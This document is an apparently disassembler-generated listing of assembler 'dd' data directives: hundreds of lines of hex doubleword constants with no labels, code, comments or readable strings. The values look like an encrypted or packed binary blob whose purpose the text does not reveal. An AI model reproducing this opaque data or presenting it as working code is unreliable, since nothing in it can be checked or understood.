dd 567F94Ch, 0FAE94676h, 878B45F4h, 0D95D8C2Ch, 0BBF1740h
dd 50327926h, 8B579EABh, 0E9AA8281h, 0EB48DF1Fh, 341ED6C9h
dd 7FC9176Dh, 5DF3290Fh
dd 82D7712Bh, 74BD8353h, 9F95A096h, 65F8AE8h, 0DB8E3BB5h
dd 0D7FED29Bh, 0BE13D7BBh, 4EE03710h, 0BDCDFCE9h, 782269E5h
dd 0C4EDE92Ah, 5ECC5D4Bh, 161D6C13h, 485CB522h, 9A85A524h
dd 3F5604A8h, 0CFC8E586h, 8B9ECFECh, 64AE5825h, 0F88D1457h
dd 77533CA4h, 12183F25h, 0BA765DA8h, 37A26884h, 86D534FBh
dd 0BA043881h, 732F562Ch, 0B80E8DC3h, 0ECD17BC9h, 838A4EE9h
dd 74C731BBh, 0A016FE91h, 503EE6F6h, 88937093h, 5F65F90Fh
dd 6FC9A398h, 0BA2A0861h, 0CE2FC16h, 88260192h, 7B454B36h
dd 0D1290203h, 4D18005Ah, 813C1E2Bh, 0F5170CC3h, 7FC42110h
dd 5AC72DC8h, 55653289h, 0B850E548h, 46774509h, 0FC107F1Ch
dd 9BA0BB5Ch, 44B50AC6h, 613391B1h, 6AB988E9h, 2FEC3976h
dd 26D644D8h, 5A6FB162h, 0B4B249Fh, 0BEF0970Ch, 5785E501h
dd 1E8944E4h, 0A0204662h, 2FDB5BB4h, 40D8F70Bh, 0BB8A0048h
dd 28186Fh, 47A9E281h, 0F7E92771h, 0BE521460h, 58F2685Bh
dd 7F05512Fh, 8015A020h, 0CB631DE1h, 0EE03757Ch, 568DCA30h
dd 5D802529h, 7F497B59h, 65433759h, 5E980BD8h, 0C959F587h
dd 58F80DB4h, 64439AB1h, 0B81EF2CFh, 20244214h, 991E5B02h
dd 0B7654054h, 0E4512DAAh, 2BC20FFFh, 66552F9Eh, 5080BB5h
dd 0C98082B1h, 0EC00809Ah, 5928CC88h, 375F9752h, 5CC14DEDh
dd 2F2BEB68h, 3B8F4531h, 0A2FA8764h, 0BDD35098h, 0E279F5FEh
dd 0E84EF578h, 84C03886h, 0F00406E8h, 5FAFA6C2h, 18310418h
dd 4C845C2h, 0F7144265h, 892F2D1Ch, 0E83455E0h, 0D3C3800Ch
dd 4939DA66h, 0C741E9F5h, 4F2CFC3Bh, 6F1353A8h, 7DC6F74Ch
dd 53D6028Ah, 0F38100EEh, 8C2C7D09h, 0B0022D10h, 633EF24Fh
dd 8110ED01h, 11771696h, 0FF584E32h, 888CAD51h, 0BF64DF0h
dd 552A8903h, 0DAF4FC91h, 177D6801h, 24A6B728h, 18DF1B20h
dd 0DACE015Ah, 13833C11h, 612A9D1Eh, 0A8EF8738h, 9B85DF98h
dd 58E95C60h, 0BB4EC038h, 308B0508h, 2C70EBA0h, 911310Dh
dd 0C242D1DFh, 7F5DEA48h, 0F625B50Fh, 0E2818716h, 44901F2Fh
dd 0D5971112h, 70AF2319h, 7D9EBAA4h, 0FB97DF27h, 0C17B9AAFh
dd 5D2D6A09h, 1D8ECCDEh, 3DEECD9Bh, 8F16204Ch, 82505024h
dd 0C18017C6h, 4B6AACBFh, 172410BDh, 0ECD08E87h, 0FEA219E9h
dd 0D9FDE828h, 0AE00C47h, 29615F18h, 669268E2h, 0BE4D306Ah
dd 50B7C2Ah, 2B21E96Eh, 970950A5h, 5E71A374h, 7C09A97Fh
dd 62BCF14Ah, 0FEB4EEA5h, 9954AE9h, 0F422294Eh, 3103B9E7h
dd 448F9EBh, 0A32F3059h, 2C4EC9EAh, 9FC39A6Fh, 700107C9h
dd 3552A9F8h, 891694B0h, 54BDC8D2h, 10DD8AEEh, 0B4066C43h
dd 0F0BD6D60h, 0C7BF100Fh, 8BE223EDh, 84B30C99h, 273E39EBh
dd 865283E6h, 0E9FE8742h, 8552B7ABh, 0C5F2F5DAh, 0FDB75951h
dd 0CB012E49h, 0C22D29BDh, 5DEEA0CBh, 5574B589h, 0A06E5F7Ah
dd 0F2C656BDh, 0B7E99448h, 54A9E92h, 0D0F73A40h, 0BD583B68h
dd 70852E99h, 0D9903CDDh, 0B4130D5Fh, 76BDCCBAh, 4B3665Dh
dd 703B1BD3h, 820555C2h, 48F9E907h, 0B0DBF7A9h, 488703BBh
dd 0B03552D9h, 1D4EAC8h, 61B96AB5h, 0C0DAC6EEh, 3C04DA57h
dd 0F1A9AD6Ah, 0E86416CAh, 2DEF4EA0h, 8D942BEAh, 5A222AEBh
dd 0CC1D2491h, 0BAD29D93h, 0CA815704h, 7DF16681h, 5EC0C8DBh
dd 0BC3658EFh, 520BB400h, 43EBE941h, 97476880h, 7D302672h
dd 0CAB24C6Ch, 0A0EA0B80h, 0F3E06A2Ch, 75BCF592h, 31676E0Ch
dd 562A4076h, 2D4B4CB0h, 5585E044h, 0BAD98804h, 675D89E0h
dd 62543646h, 6D5A3B34h, 0D607E503h, 0EB554977h, 75AEC571h
dd 4F213AFh, 40C1370Dh, 695338C3h, 0E9895BB7h, 9D2D83E9h
dd 2906E80Ah, 70551C8h, 9D51E748h, 0F080BE5Fh, 0AC5A4F27h
dd 0EC97A1FCh, 11B18151h, 5220D84Dh, 0AC5D592Fh, 6887914Bh
dd 0A8A66A07h, 41D94497h, 0CAE9E83Bh, 4E0DA655h, 9F41FD02h
dd 9761FE01h, 0DD3FC2EFh, 6A34F100h, 0CDEC7C18h, 33529039h
dd 0D098180Ch, 2E4D39CAh, 0AF47DAE9h, 0DE2C7ED6h, 0AAB67312h
dd 9A76E151h, 0FF4AEB3Ch, 97D213CAh, 13EC642Fh, 4A9EB6BAh
dd 6F31DEFDh, 7AE0586Bh, 0F242A52h, 9D6EAFE1h, 84D54775h
dd 0C8FF121Ah, 67905C92h, 23B980Fh, 8BF2AA27h, 5DFC0822h
dd 908F6595h, 7A533014h, 0DE72281Eh, 6D5090h, 3FB38BB1h
dd 2459CB30h, 0C028DE88h, 0E950CEFEh, 22D7D52Fh, 0DC3F1639h
dd 26B66255h, 0E40369E4h, 83234F68h, 0C0BFD5EDh, 283F7A41h
dd 89D00D50h, 7C53F80Bh, 0B7E57729h, 0E9D3843Fh, 0B2D08F47h
dd 1EBF57D0h, 0FE2B65F9h, 38FDF5A5h, 4A126892h, 0A3AF8C1Ah
dd 0F49BD590h, 0E35EE961h, 0A1E0BD6Bh, 526A6849h, 0C56E8E7h
dd 48F94AA3h, 7CEC00C7h, 0BBE901F0h, 1B86FEF1h, 65537068h
dd 8FF96FAAh, 1F15082Ch, 0EB8318B9h, 0C10D4A3Eh, 76EC802Ch
dd 6B03CDC0h, 2061AF09h, 368ABB9Eh, 2773B8EBh, 2272F1E6h
dd 0B13C2098h, 0B41FA614h, 242E8302h, 48E45178h, 5F2803CAh
dd 0F5E06D23h, 84280E97h, 0E404886Ah, 29206165h, 0F5A021FFh
dd 528D5811h, 358681Ch, 3E157F2Dh, 0C84F8310h, 34E3E9EEh
dd 0D3608791h, 8C218B8Ch, 6C80C033h, 0E9B388BAh, 0D95E5625h
dd 0B08E880Ch, 7020C620h, 0FDC4BF9Ch, 44FABE26h, 696F4888h
dd 0CB2435F6h, 5D279110h, 0E2C13600h, 68FA4208h, 0D0CFC25Eh
dd 0FD60FB12h, 8E47843Eh, 357B10E7h, 49DDC13h, 0D83FED4h
dd 907B3DBFh, 8EBC19Eh, 2F9E4B48h, 0DD8D4283h, 3CA6C967h
dd 5E926A2Ch, 0AFFBF4AAh, 444D4514h, 724802F0h, 5456F989h
dd 0DC5E51B6h, 5A02B1CBh, 3568414Fh, 0E01B7D13h, 88E73F99h
dd 256FEAD0h, 0E113F856h, 0FBFADE0h, 65D7D53h, 9DADEA5Fh
dd 7A5A77C3h, 0F6F9FDE5h, 0EF114B2Fh, 1BF40F5h, 0BE5698F7h
dd 0DD742D25h, 63978152h, 6EEC6Ch, 8420D5A1h, 0D7480144h
dd 29084007h, 1371EF58h, 20A2720Ah, 0E362BC5Ah, 2A07E8E1h
dd 68570B26h, 0A0590FB9h, 0ED739A84h, 0A19116BAh, 890903A2h
dd 3301642Dh, 0D55004A2h, 0EF5FA26Ah, 6E45171Ch, 0BBE6517h
dd 0B03A3122h, 7AF725F0h, 0F060AE32h, 0C6B9622h, 20C430CDh
dd 34AD309Fh, 2FD0BEBDh, 0B81FC202h, 1D68EE20h, 0A81A5A1Eh
dd 0FFC82495h, 324B89A0h, 684D2F03h, 0A5B8CCC4h, 56A1BC0h
dd 0CD2F3147h, 209D359h, 76072EAh, 6C542540h, 0DE2EF730h
dd 4D57355h, 84A250Dh, 0B298818Dh, 2DB33FECh, 68E2C29Ch
dd 3271391Eh, 15CD5317h, 277E71FCh, 607D3D57h, 13CBEA64h
dd 53788D69h, 69B1BAE7h, 7252316Eh, 0BCE124E8h, 5C9D4770h
dd 73E9704Bh, 313E5363h, 0FCEE92F5h, 60E4D0Ah, 3D01E60Bh
dd 0C132DD74h, 128008E6h, 92C4C904h, 309A40E9h, 5C31C095h
dd 62029ED9h, 0D45D5928h, 189E4709h, 6678FE3Dh, 0ABECAAD6h
dd 5757AE1Dh, 0B027EEA1h, 0ECFCC4F4h, 0BE0FAB4Ah, 96F14F46h
dd 80EA50D2h, 0B50D438Ah, 0E0EAA11Fh, 0BA5E457Ch, 3C8D4514h
dd 4F4B9848h, 0C355FA2h, 185E26A9h, 33139D3Ch, 0DFAC51DCh
dd 4106A42Dh, 6814105Ch, 0C1CF67ACh, 7415CFBFh, 0E963E9FCh
dd 0E8C16887h, 30E03707h, 9E9ADA35h, 0D2313C27h, 0B8594BC7h
dd 670D00DBh, 5DE917CCh, 4A1B2F7h, 0D90F32C6h, 35C2EB28h
dd 0BC6B4E29h, 52BD8BF0h, 28F56F90h, 0F75CBC0Ah, 1809BDAh
dd 94E90DB3h, 9ED1BD0Eh, 0F959093Ch, 2CE6EDFFh, 0B5FD3F5Bh
dd 7A1546D1h, 800E6BCEh
dd 4A11A0Ah, 5DEB2731h, 31E1E47Dh, 0E3FFB163h, 35628207h
dd 87769955h, 0D7E97CF9h, 27306D9h, 8094B508h, 0C5C2C0F5h
dd 5F18D5F6h, 2D7FAF30h, 83A87C9Dh, 0D1C3008h, 385E1351h
dd 4069B0E5h, 0F30D11CCh, 0BFB0501Fh, 6D0C4680h, 702C3524h
dd 0B7497F7h, 1E285A66h, 0EDE0C001h, 2E96C02h, 0B8008DF4h
dd 2C910376h, 0C8D04801h, 3B25D801h, 47623E36h, 0AB05B1CDh
dd 66CB4070h, 7F760659h, 3B9E205h, 0C93014B4h, 2E1CE1B8h
dd 94841ADh, 99304358h, 0E69FCC16h, 86817FAh, 0C54FBC7Ch
dd 24D8F190h, 0A2A8B055h, 404BD42Bh, 643FA3F1h, 700C9FE5h
dd 25796749h, 3DFE5849h, 7F22A36h, 0FB8443D4h, 6DE516F6h
dd 60DAB53Eh, 3A09E553h, 541CF81Bh, 0E1ED622Ch, 20FB8F41h
dd 170501C3h, 0DCE922FEh, 0B5BEA390h, 116A0116h, 0C6424A05h
dd 283FFC26h, 5E66EBFh, 4AC423BBh, 75C4BAACh, 0E9038CEAh
dd 5A6974EFh, 0AA752C28h, 83C5C64Bh, 5229CABAh, 0F190A448h
dd 2DC51366h, 0A1514657h, 8EE85F12h, 6F22FAD2h, 396405Ah
dd 0C1157F35h, 583A82F6h, 99942078h, 0F56B97B4h, 94F72A93h
dd 948DFB9Ch, 12962240h, 290702F9h, 0CF015AD7h, 50B9D88h
dd 0FC766859h, 0F3BAD3ACh, 1E165E9Ch, 0A3522217h, 8492F2FAh
dd 5809BD67h, 0F0A8B47Fh, 3589813Dh, 0F0376949h, 2855FD35h
dd 97AB10C9h, 0B72044F4h, 1850F497h, 65A3F401h, 104A7C82h
dd 2D5648BAh, 0D5B1421Dh, 0ED69E6DAh, 9F9CB412h, 4072D27Eh
dd 9401DE9h, 5BE969BDh, 672F8DD6h, 0DC59AFCFh, 21F32427h
dd 0F8848CEBh, 49C42044h, 0C3964A1Ch, 12BC1501h, 0F0EB53FBh
dd 324AFA2Dh, 0BDDEDA2h, 5F61EA83h, 586474AFh, 79E2C19Dh
dd 0FE19AE3Bh, 0C1043B0Eh, 3BD69F80h, 0C02C4040h, 9F057962h
dd 2D1E5D7Ch, 2ED784Bh, 517048A6h, 685A0FB1h, 1BB05469h
dd 5781061Bh, 2DB0E6FEh, 59560B61h, 88DAE653h, 1E92E5C0h
dd 0C9498936h, 0E451F75Fh, 0B32764Bh, 0D4DE128Dh, 2C55D26Bh
dd 38C8685Fh, 479DBB4Bh, 8C7728AFh, 177B0C15h, 0BE422C1Eh
dd 61AEE341h, 0E06B36BEh, 18028711h, 69B0AF35h, 6602770Dh
dd 0E4D416C5h, 3303FD73h, 4F859CE9h, 0E4CCE826h, 9C84E8EDh
dd 0F6C01E41h, 4E0B0761h, 90EE63D1h, 0A6382766h, 0FD4D25E9h
dd 0B10AA7E7h, 80059EE3h, 0EB1D2CC3h, 0A6C7EB4Fh, 785D452Fh
dd 382912F5h, 8157BC5Dh, 6053D8BEh, 1CE2330h, 9776CACh
dd 4DEAAE9h, 5AF791FFh, 13B3033Ch, 0FC087C1Eh, 3A2F9485h
dd 0EC26CA52h, 94B69410h, 0A91ED3E7h, 1A2ACB20h, 7D3D925Dh
dd 6E2CEA02h, 79A5C7Dh, 3FED6456h, 0E907E2E0h, 46C061B9h
dd 0EC8044B4h, 63E4E6DFh, 0C0F80C72h, 5B0703B2h, 5D78C4F2h
dd 0B551EF81h, 47BA2ECEh, 260F581h, 8E5D59EBh, 6ADADF9h
dd 0D2F68402h, 73EA05C2h, 0BEC0E768h, 84857F31h, 7D7ABF10h
dd 902DEF26h, 0DFE4893Fh, 3E5FDE09h, 8DD4F42Fh, 0FD90BEBh
dd 5E092CFh, 0BFA34B92h, 541B0898h, 2642C360h, 12FEA30Eh
dd 0EE518447h, 19582591h, 4E83F348h, 8075A229h, 3F52ECEEh
dd 0F3D8953Eh, 60AE4E6Fh, 0E9723446h, 0D8A05BE1h, 0D997BC1Dh
dd 712BCB8h, 30DB8D3Dh, 8144EF68h, 38A90BEAh, 0BD58850Fh
dd 20D6D0BDh, 5D2E7A12h, 48BACA66h, 90EA1F81h, 3F2813CDh
dd 252A58E4h, 152A116h, 66AEEF01h, 0F72940F2h, 801A744h
dd 0DF82E95Eh, 240CCB2Ah, 0F7026104h, 8918BF44h, 4E370AEh
dd 0B02B85B9h, 0D0FEC01Fh, 0F6132193h, 7980CD89h, 0DDD44573h
dd 6FE9896Ch, 0BB0252D8h, 24F7047Ch, 21918943h, 6069683Dh
dd 0F1C93E68h, 0BB5331E0h, 4276E112h, 0CDF30001h, 0F2412A2Fh
dd 0E27F3116h, 7C68808Bh, 98204B44h, 51B529EBh, 6FF9BB8h
dd 83E287E5h, 0E2DEF056h, 0C3E90812h, 2D8073E0h, 0AF752CEFh
dd 0E7A7A625h, 0BF62A3A4h, 7FEDBDA4h, 5B8CB44Ah, 64685602h
dd 8241A774h, 0FD4EDFA6h, 0E81F7AD3h, 0ABFC7609h, 0E74057AAh
dd 4EB77AE5h, 92FCF688h, 685C25FBh, 535DCA42h, 410190F4h
dd 93C87EF4h, 21C44160h, 9AAD3F7Dh, 84237589h, 0B97D968h
dd 9E5657Fh, 9619A432h, 7EDF3351h, 3B129B4Ah, 96DBF7BFh
dd 59C068EBh, 8752E24Bh, 782FD5D6h, 0C417E45Bh, 0FAD0E629h
dd 4F27A4E3h, 566AA2FCh, 0D7A9521Ah, 0D8B3F558h, 8A06E724h
dd 37E49ACAh, 0F8CA5EF3h, 75F90189h, 0BD828EC4h, 293420FDh
dd 0B44CE9EAh, 0C1333923h, 7BB77BB6h, 89F2E5FFh, 0C48F5658h
dd 41E46ECAh, 2ADB4EDCh, 167145C0h, 0E4414A14h, 370BCD96h
dd 80309901h, 673F09C6h, 6A0CC14Eh, 6EDF07DAh, 0E95087C0h
dd 0E7D953E3h, 0B37AB00Dh, 28ED42C6h, 0C03A4055h, 0EEC7DD10h
dd 3F8A90B5h, 2A2C9666h, 69C35109h, 0A06B87F5h, 73126F0Ah
dd 0A9005028h, 77DE5A23h, 2A54AE9h, 0F0015EA5h, 0CF946661h
dd 0FCF01DEAh, 0E8DC020h, 6358685Dh, 73E6AA12h, 0C8B70FC2h
dd 0E984EBE5h, 0A8BB4A7Eh, 0CE5B797h, 0BE4B1DFCh, 409D6B6Ch
dd 0EC518860h, 94DA2BFEh, 0FEE72013h, 0C0EEC064h, 0E942B6C3h
dd 16822D4Bh, 0CAD9D75Dh, 35FBD549h, 42ABE98Bh, 0A1B6FD2Bh
dd 76758B82h, 649D5CACh, 0F48B204Bh, 20FF589Fh, 2D05C88Eh
dd 39C125CDh, 127084BBh, 0D6B3FA07h, 0E0048592h, 0C53F6B8Fh
dd 0D6C2830Dh, 0FB461A44h, 40F0CAE9h, 0F055870h, 6DE418A4h
dd 0A3C2EA69h, 0DC3DE25Fh, 12DA8854h, 0DFD85C16h, 5B8C40C8h
dd 0B3FE8F6h, 2C84C831h, 0FCAD9526h, 18DA44Ah, 1B24D0Eh
dd 82826F5Eh, 60E4710Ch, 74A1E95Fh, 2ACA995h, 292DFE55h
dd 0FB17E0F5h, 9DD223B2h, 0DEA9CD22h, 285169A3h, 519582CDh
dd 9593162Eh, 0C6CAA0A0h, 28B5F7BCh, 9D2903E4h, 0ED4B5678h
dd 0A84F41ECh, 96DB1BDh, 0BADE246Eh, 971AA4A0h, 0D931BB02h
dd 0FE97CB96h, 16F50DD8h, 2DCA30D3h, 0BD19400Eh, 34FCA110h
dd 0F36033E0h, 0AD07A305h, 278D1114h, 49DFF327h, 0AFC2DAFCh
dd 0B187570h, 9FDBFA02h, 0D5ADC1FEh, 804C6A69h, 0BC2E2217h
dd 23EACF23h, 0F2D8EC6Eh, 84794A10h, 60EE279Ah, 8FE9A2F2h
dd 84B7265Ch, 810B0568h, 0DA4B2701h, 4E003F17h, 0BE5AD789h
dd 5A4E7B83h, 0A64BF04h, 2D6D2A82h, 4CCB01DCh, 0E077DA07h
dd 6F0DCD93h, 14ECCC58h, 57E0ED65h, 551BE22Dh, 3F08F188h
dd 1A7644E9h, 39E954C0h, 949B951Ah, 9952CBCAh, 2FCEC506h
dd 504F6F9Fh, 935F08EDh, 72098801h, 69C3BE00h, 4AF71A6Eh
dd 9147EBD6h, 0F2ABBCE9h, 0CE0850BDh, 0F24F1FF4h, 0D231B936h
dd 0EE07E71Dh, 29231160h, 0D6132A25h, 0BF2D12BBh, 0C52035B1h
dd 0E5BF2CE9h, 3CEB8F9Dh, 0C07A6344h, 4D396DDEh, 0EDA15E5Ah
dd 0CEEBCC4h, 0B3D7E992h, 0C01FF3D5h, 8909D9DFh, 0DE79DDDAh
dd 6A3E04C9h, 38F72909h, 0BFE4AF5Bh, 0D45DE13Ah, 69B84794h
dd 0BEB556F0h, 0B2F19FBCh, 2B9655E9h, 36C51D2Ch, 3A58DAADh
dd 61983630h, 0CAE71347h, 400B4B7Eh, 223E9FE9h, 5D3C337Bh
dd 57C27513h, 99426CF4h, 0F2A25D9Ah, 57095554h, 579FE1DAh
dd 8D8E219Bh, 647EC498h, 208B169Dh, 0CB9F0248h, 9DBD70C7h
dd 0F47A6AFEh, 5EF5C02Eh, 2170FDE9h, 0C217D4BFh, 2C70DC85h
dd 9961EE39h, 7D0CCCC6h, 0EA10CEC3h, 0DAFF25E9h, 6EA380E8h
dd 57212D27h, 1339B303h, 0E1B032A3h, 8E182AC7h, 311A414Dh
dd 0B58AEE9Eh, 7235FD72h, 480C6CE0h, 494BE08h, 68B87DBCh
dd 0E958D3A1h, 96DF10F2h
dd 54532DBh, 0B1F2C2F7h, 0F261F9F6h, 2B8D6854h, 0D1A4302Ah
dd 14EEC09h, 96701FA4h, 1C762D59h, 71696580h, 25685E3Bh
dd 1DF12395h, 0EB29E961h, 0DF28924h, 7D441C1Eh, 704A890Ch
dd 8B56548Dh, 798058C1h, 2E51735h, 2C196814h, 0E7C45E22h
dd 255668EAh, 0C9C1B65Ch, 0F3C357B8h, 8CF9C2C3h, 0DFE5521Eh
dd 542D175Ah, 289265E4h, 0EF3DF1FAh, 33450904h, 81AC80Fh
dd 5A1C1CBEh, 2D0A99C7h, 314919E1h, 809AAF20h, 512D6866h
dd 0A42CAF41h, 42D0B9EBh, 5A70275Ch, 7A4EE15Dh, 0CEAF34D4h
dd 94E9C50Fh, 0B95F72ACh, 2A028408h, 56685100h, 377B592Eh
dd 0F962A527h, 9F766927h, 9721F850h, 0B20CB47Dh, 88CD9D91h
dd 8AAE0196h, 13E9098Ch, 0C9C468A1h, 114F3B66h, 7517F603h
dd 0C1F311Ch, 93BE5161h, 14B07FE9h, 2FCA7721h, 77F6D4CCh
dd 2F1EC63h, 277EEB4Dh, 9A706A82h, 6FECD497h, 90E3C556h
dd 542CCAC4h, 6E271B7Ch, 52F4199Bh, 58FBDAF3h, 1591697h
dd 2596BCC6h, 888E51E4h, 7727E3C7h, 5B090344h, 58FEEE0Fh
dd 40729790h, 98661BF8h, 0BDF25E2Ch, 55FE5E8h, 5FD5E9Fh
dd 884EF7E9h, 1A4BDFC4h, 0AE25D0E3h, 21B4CEF0h, 750B3D09h
dd 0E6D12033h, 3F242E2Fh, 0CEB58E21h, 20DBA596h, 0D59F366h
dd 0C4AB230h, 0ED738AEEh, 0A8B1643Ah, 5151C9F6h, 0F2C0D210h
dd 95DF622Dh, 0B6031D50h, 58E628CDh, 2C4145F9h, 108C943Dh
dd 0BE402E91h, 0C5AF4CB4h, 4337C659h, 0ED6282B8h, 3BEE1769h
dd 0B2588CF4h, 29B431AEh, 90515A2Ch, 0DADF4C5Eh, 567E3AC4h
dd 0D770AEE2h, 0EC57BEB1h, 65940C06h, 160FBC88h, 0D755815Ch
dd 0E0598F09h, 27170B55h, 0DD975B1Eh, 0D0595F37h, 0FF116F3h
dd 0F501EA6Ah, 38462906h, 50DA03Fh, 28441A01h, 89E9D531h
dd 0B95CCE24h, 0DFCF01DAh, 0FC01720Ch, 299FAFA8h, 2BF940E7h
dd 727B4823h, 0DB346E0Fh, 27FAAC92h, 7834D501h, 0C528E912h
dd 92403CE2h, 0A61C0B40h, 0A0FD5973h, 2287F181h, 44E0FFD4h
dd 0B2FE5EDDh, 3F5304D7h, 7DC04528h, 48697C26h, 0E01D6227h
dd 3148C594h, 6CDFABF7h, 2DE90D54h, 1D654491h, 0B7F09216h
dd 528F2568h, 0E1968ED1h, 9C285A4h, 49F36839h, 3B9972F5h
dd 0BEAAD929h, 0AA524FCDh, 9E00BB29h, 4E326C4Eh, 0B941FE42h
dd 2326C4DCh, 9C0F847Eh, 0F54037F5h, 3AA0022Dh, 0C2292ECDh
dd 1EDA5D43h, 7C888371h, 805A037Eh, 0C4992CCCh, 40ECD945h
dd 8858E5F3h, 18C259ECh, 4843E9D2h, 3FB0501Ah, 0C6BD5287h
dd 9C8956A7h, 7E0BE309h, 0D968BB5Dh, 0AA5008C8h, 4B3118CAh
dd 90888068h, 0C55A7AF4h, 6B13B2C2h, 72DEB2D5h, 0C20C98CFh
dd 59D8685Fh, 77A5F971h, 5B4A424Ch, 0E981B667h, 322B1D9Bh
dd 7E77535Fh, 3D1A4DBh, 119D99F9h, 0C5F0D6DAh, 40E9949Fh
dd 592AE933h, 0E420F3D3h, 4BADF420h, 98D4EB18h, 0B77DBCEFh
dd 256A6861h, 82BFF23Eh, 0D751A9E9h, 43BED76Eh, 0FBB09F54h
dd 0FA83B865h, 218E7DF2h, 23F5C397h, 0E2B4D0C3h, 0D7022D53h
dd 0A1E94118h, 0C7F94967h, 8D607053h, 5DF1FFh, 17A2E908h
dd 5D5128B6h, 0D6B7AD7Ah, 0B349A5E3h, 0EAC2529Dh, 0B6BE1513h
dd 0D75012D2h, 0B70FD802h, 79A860C0h, 0E9348444h, 0D18C2140h
dd 2D12FEBAh, 47D6626Ch, 1D909A17h, 8795C2h, 5B0517B1h
dd 2D1F707Ah, 6260351Eh, 7D24CA6Eh, 5E76E422h, 7924DA25h
dd 9816CEF9h, 0DE02F6EAh, 0E9A6B151h, 0DFE7CA3Ah, 5858EE72h
dd 93C1166Bh, 0A662EC62h, 36CB33EFh, 20A96F89h, 2560C93Ah
dd 2D07E17h, 7C156DB8h, 0D1BDA9F0h, 52820030h, 1CE91848h
dd 2536B049h, 0C4E55FEEh, 17F3BF93h, 0DD25F105h, 0EAB78279h
dd 0B30B4CA9h, 1CEB1002h, 8AE2E874h, 0FCAC04D6h, 3B1965Eh
dd 168176A4h, 0DB68A5CAh, 0A81594BFh, 4C88A0D2h, 8D49787h
dd 8F10E961h, 4857D37Bh, 0BB5611C2h, 50FAC696h, 0AA0EEE5Dh
dd 17FFA103h, 0ED2E00E2h, 0C1DAF76Bh, 6D9A20F1h, 803880EDh
dd 0E3302FF4h, 95D8E658h, 0E4B5EC61h, 1601B353h, 0C380CBFEh
dd 7160082Dh, 2EFA2BE9h, 0CC582D84h, 3B53CE95h, 172F09C9h
dd 3E92FA43h, 0F5FA00D5h, 5AE13963h, 473AA038h, 978C674Fh
dd 138A48B6h, 2E6C001h, 0CC7AC680h, 0E97AF2CEh, 8AE2354Bh
dd 947DC22Fh, 0F6EE9529h, 0E9FC5431h, 69E01EBh, 87F4CC34h
dd 0CD0BB93Ch, 0A0152471h, 0FF781D5h, 38770052h, 2A86B850h
dd 30B01D64h, 0EEB9EA88h, 28533C17h, 61358502h, 0E13541C7h
dd 5A2E0430h, 0A921FF0Bh, 108086F8h, 0DC0874B3h, 0D469F65Bh
dd 34D27204h, 0E033912Ah, 5F9FE2C5h, 0D3CCF482h, 0C932E5D7h
dd 0AEC54755h, 7F084966h, 0F5DEE28Dh, 0FDD9180Bh, 238B286Eh
dd 0EF8D5B9Bh, 4099B344h, 0C0408DA3h, 0AE344B79h, 0B0AB9425h
dd 21F8B54h, 21D2685Ah, 8B01FACCh, 93E9C8D8h, 0DC371E4Eh
dd 77D41492h, 131821DAh, 7E0C46AEh, 44B32C32h, 208524F3h
dd 25A3A008h, 971B155h, 0C7C6288h, 31215051h, 3448792Ch
dd 0DE51FC1Ch, 0ADF0CCE1h, 0CE16ED71h, 0C9B0387Dh, 268024D4h
dd 0A5E32F16h, 8F3049Ah, 0A455E985h, 4ED9CEAEh, 0C1B45BF2h
dd 12AAAF2h, 77E26668h, 54239819h, 0DDCCA29Dh, 7C682FE0h
dd 539473F9h, 4D0D3987h, 77C22F05h, 9056B606h, 2257710Bh
dd 7C576268h, 0EDF2F09h, 0C5426087h, 4429D61Fh, 8F4BE9F2h
dd 0F92D9200h, 3A38686Ah, 9325F801h, 20401A5Dh, 2D5EF00Fh
dd 8C4D1D1Fh, 4F435C75h, 0D3E456EEh, 1A0AE34Fh, 752C3DDAh
dd 203AC64h, 0E9144887h, 2B92B4B7h, 5DDC62D3h, 0C34E45Eh
dd 50F0BCBAh, 2F701A2Fh, 0E90DD69Fh, 412B3600h, 5AC303D0h
dd 0C4DF5C1Eh, 0DEE53CC0h, 5195F43h, 1396E9CDh, 448BBBB4h
dd 651B1D00h, 0B5B4E974h, 8700A097h, 974B77BCh, 3930F8F2h
dd 0FCBB1C76h, 7EBF1326h, 7F36FD2Dh, 0D4E375EFh, 0D5BCD382h
dd 84166128h, 0BEA13E6Bh, 8091D44h, 15715F5Fh, 7BD17552h
dd 5F2EDE8Bh, 0E91763B4h, 0EFF9392Bh, 0A32F7A84h, 275B7F5Fh
dd 36D22131h, 757302Ah, 3E70EF80h, 52F4C77Fh, 3902E95h
dd 0D93C472Fh, 67BEEEC3h, 9D57FC5Bh, 92FE5DD2h, 0E7D15FEFh
dd 0DE6D3319h, 57A4097Eh, 246E977Fh, 0D926317h, 0EE2293Fh
dd 0C172B462h, 0C0121CF2h, 897B40CAh, 42B62FBAh, 340A0EDCh
dd 15BC6C13h, 2EC75B2h, 8F4130F2h, 0BC646009h, 10DD0554h
dd 0AB0E37E9h, 4E731D31h, 0A9C23381h, 0EF2DF2E8h, 48B9B085h
dd 396E3503h, 0C80D44EEh, 777AF87Dh, 539A042Dh, 0F1DFE96Dh
dd 1CA66F1Ch, 40332D5Eh, 0EE5E4913h, 0D95A4F75h, 1095C884h
dd 932FA6BFh, 462B3BBh, 18A8E9E7h, 0E581C0F4h, 0DAE9213Eh
dd 4BB72A28h, 0F5FC647Bh, 7AD7AFBEh, 51B80A3h, 0B6685314h
dd 0D10CE34Ah, 855CB64h, 0F789BC63h, 8060DCD3h, 5120ECF3h
dd 9F5DE909h, 0D90135ABh, 5CD440BFh, 5E1DDA0Ch, 0EA3CF9B5h
dd 398402AFh, 6FD850E9h, 569F94A5h, 0F4D297D7h, 1C55714h
dd 52F023E2h, 0D392E86Fh, 0DA81FC0Ch, 0B5F54EFEh, 59091FFAh
dd 22556968h, 0B7062C0h, 0B9326558h, 0D7050E56h, 16D24BCBh
dd 2C2CBB50h, 5B3C639Dh, 4CC23040h, 0C5F70E5Ah, 0F5A6DB3Ch
dd 0A632C9h, 2D054891h, 9093BF22h, 5387124Ch, 46DBC24h
dd 6FFC3269h, 16D9ACEBh, 0E39B8F11h, 7B090D6Bh, 0C4487969h
dd 7A4BE940h, 525B73BBh, 9037D48Fh, 0C5895B0Eh, 1CF8584Fh
dd 68050798h, 0D662AB26h
dd 7A34B5C0h, 0FD310073h, 0E9EE215Fh, 6ABDAAB8h, 0D0DD43F4h
dd 4B80710Fh, 0A947A077h, 0BDBD81F3h, 57BA679Ah, 0E59A397Bh
dd 39EC2B0Ch, 1DB157B8h, 6F88F8B0h, 0A0384A6Eh, 5459EA1Dh
dd 0D7B7845Ch, 0D94E685h, 8A4FF0BFh, 0AD0787BDh, 0D9D43B65h
dd 57B2BCF9h, 50FAD677h, 14120368h, 25B87220h, 0D3BB445Bh
